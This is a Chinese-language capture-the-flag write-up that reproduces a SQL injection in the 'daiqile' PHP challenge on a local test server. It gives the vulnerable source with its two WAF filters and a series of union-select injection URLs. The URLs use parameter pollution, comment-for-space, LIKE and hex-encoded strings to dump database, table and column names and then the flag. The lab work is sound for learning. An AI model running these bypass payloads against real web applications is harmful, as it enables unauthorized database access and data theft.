目录
daiqile的SQL注入漏洞复现
一、环境搭建
1.下载并安装小皮
2.下载daiqile源码文件并放在在小皮/www目录下
(注意要PHP版本要老的,新的不行,比如上图中的版本)
3.创建数据库ctf
CREATE DATABASE ctf;
创建表名
CREATE TABLE `users` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(255) DEFAULT NULL,
`pass` varchar(255) DEFAULT NULL,
`flag` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
添加数据(flag)
INSERT INTO `users` (`name`, `pass`, `flag`) VALUES ('admin', 'qwer!@#zxca', 'hrctf{R3qu3st_Is_1nterEst1ng}');
最后查看是否成功
4.测试
二、联合查询注入
通过源代码我们可以得知,括号被注释掉了,所以优先使用联合注入
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
// 经过第一个waf处理
//i_d=1&i.d=aaaaa&submit=1
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
//i_d=1&i.d=aaaaa&submit=1
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
//print_r($rewrite_url);exit;
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
//$_REQUEST[I_d]=-1 union select flag users
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// $_REQUEST不能有恶意字符
// $_SERVER
// 业务处理
//?i_d&i.d=aaaaaaa
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>
1、测试回显字段
http://127.0.0.1/index.php/?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1
可以看到是第二个字段进行的回显,所以我们就在第二个字段进行注入
2、爆出库名
http://127.0.0.1/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1
可以看到这里就将所有的数据库名注入了出来,当然,我们也可以使用limit来一个一个观察
http://127.0.0.1/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables/**/limit/**/0,1&i.d=1&submit=1
3、爆出表名
http://127.0.0.1/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1
由于源码中WAF使用了等号截断,所以这里使用like代替了等号,同时传入数据库中的内容使用十六进制进行了替换
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
//i_d=1&i.d=aaaaa&submit=1
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
//print_r($rewrite_url);exit;
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
//$_REQUEST[I_d]=-1 union select flag users
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
4、爆出表下的列名
可以直接进行查询,但是无法使用group_concat连接函数进行分割
http://127.0.0.1/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=1&submit=1
所以这里可以使用limit来进行查询
http://127.0.0.1/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1&submit=1
http://127.0.0.1/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/1,1&i.d=1&submit=1
http://127.0.0.1/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/2,1&i.d=1&submit=1
http://127.0.0.1/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1&submit=1
可以看到有个flag字段,最后该表进行查询即可
4、爆出flag
http://127.0.0.1/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1
三、需要注意的点
- 1、hpp php 只接收同名参数的最后一个,这个也涉及hpp全局参数污染。
- 2、php中会将get传参中的key中的.转为_
- 3、
$_REQUEST
遵循php接收方式,i_d&i.d
中的最后一个参数的转换为下划线然后接收,所以我们的正常代码放在第二个参数,waf失效。